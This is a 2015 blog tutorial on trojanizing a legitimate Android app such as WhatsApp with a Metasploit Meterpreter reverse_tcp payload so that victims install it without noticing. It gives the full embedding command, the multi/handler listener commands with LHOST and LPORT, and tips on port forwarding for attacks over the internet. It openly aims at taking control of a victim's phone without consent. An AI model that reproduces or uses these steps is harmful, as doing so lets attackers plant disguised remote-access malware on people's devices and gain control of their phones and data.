Embed a Metasploit Payload in an Original .apk File | Part 1 — The Easy Way

Fri, 11 Dec 2015 18:30:00 GMT

Hi Fellas! I’m sure most of you, or at least those who have set a foot in the kingdom of hacking, have heard of Metasploit. Don’t be disappointed if you haven’t, because you’re in the right track.

From Wikipedia,

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.

In a more informal language, it’s a tool which we can use to perform various kinds of hacks against a machine. The flagship payload which comes with the Metasploit Framework is the Meterpreter, which also has an Android version that comes as an .apk file. In case you are wondering what a payload is, it’s a program we can install on a victim’s system to compromise it. Normally we have to install the Meterpreter payload in the victims phone by any means—usually involving Social Engineering—and when the victim runs the application, we would get a direct connection to that phone remotely and we can use it to wreak havoc on it.

But since the payload app doesn’t look very legit, takes up only a few kBs, and doesn’t show anything when clicked on, the victim will probably uninstall it right away, or worse, wouldn’t install it at all. So we have to solve that problem.

Here’s where this tutorial comes in. I’m gonna show you how to take any .apk file, be it WhatsApp or Amazon or SnapChat, and embed the Meterpreter payload in that apk. To the victim it will look and behave exactly as the original app, so he will use it regularly without any doubt, letting you do anything you want to his phone.

Pre-requisites

Just to be clear, In this tutorial the operating system used is Kali Linux, which is a de facto standard OS for Penetration Testing—read, hacking. You should also install the latest version of ApkTool and some libraries for the scripts to work properly.

To install the required libraries, enter this command at the console —

$ sudo apt-get install lib32stdc++6 lib32ncurses5 lib32z1

And to get the latest version of ApkTool, head over to this site and follow the installation instructions.

Step 1

First of all grab the original apk from any of the numerous websites available. Just do a google search “app_name apk download” and Google will come up with a lot of results. Save that apk in any folder, in this tutorial I will use the Root folder and a WhatApp.apk as example.

Step 2

Download the Ruby script from this link and save it in the same folder as that of the original apk.

Step 3

Open a terminal, and type the following command:

$ ruby apk-embed-payload.rb WhatsApp.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895

In this example I’ve used 192.168.0.104 as the Local IP address, i.e. your IP address and 4895 as the port on your Computer through which the Meterpreter payload will connect back to you. Make sure to change it to the appropriate values, especially the IP, the LPORT can be set to any reasonable port no.

NOTE. If you are going to conduct this attack over the internet, be sure to put your public IP, not your local IP, in the LHOST option. You also may need to forward the port you’re using for this attack to work properly.

Once you run the command, if you are lucky, the script will do everything by itself and complete the whole process. But more than often it cannot determine to which Activity of the app it should bind the payload to, so it asks you to select it. In that case, leave the terminal open with the script at the prompt, and browse to /root/original.

Then open the AndroidManifest.xml file using any text editor you like and look for an <activity> tag which contains both the texts .MAIN and .LAUNCHER. When you find that tag, look for the android:name attribute of that tag and from there, note the name of that Activity.

At the prompt of the Ruby script, enter the number corresponding to the Activity name you had noted previously and press Enter.

This is the hardest step of all, so I’m posting some screenshots to make your life easier.

PROFIT?!

If you did everything correctly, you should now get an .apk file in your root directory with the name backdoored_WhatsApp.apk. It will install and run just like the original app.

As for the listener, you should use multi/handler and set the corresponding options accordingly. Just run the following commands —

msfconsole
use multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.0.104
set LPORT 4895
exploit

Now wait for the victim to run the app, when he does it, you will get a Meterpreter prompt in the terminal!

Note

You must have noticed I haven’t explained anything, rather asked you to blindly follow. As none of us wants to be a script-kiddie, we will learn how to do this manually in the next article. To be honest, I didn’t know how to successfully implement this until I found this script. After I saw that this script does what it promises, I learned the process by reverse-engineering it. Let us set that story apart for another article.

If you face any problem, don’t forget to mention it in the comments. I’ll try to help you in any way I can.

Credits

I found the script from the comments section of a thread in NullByte, so thanks to the guy who shared it, I’m sorry I don’t remember which thread it was or who the guy was. And credit of making this script goes to timwr and Jack64.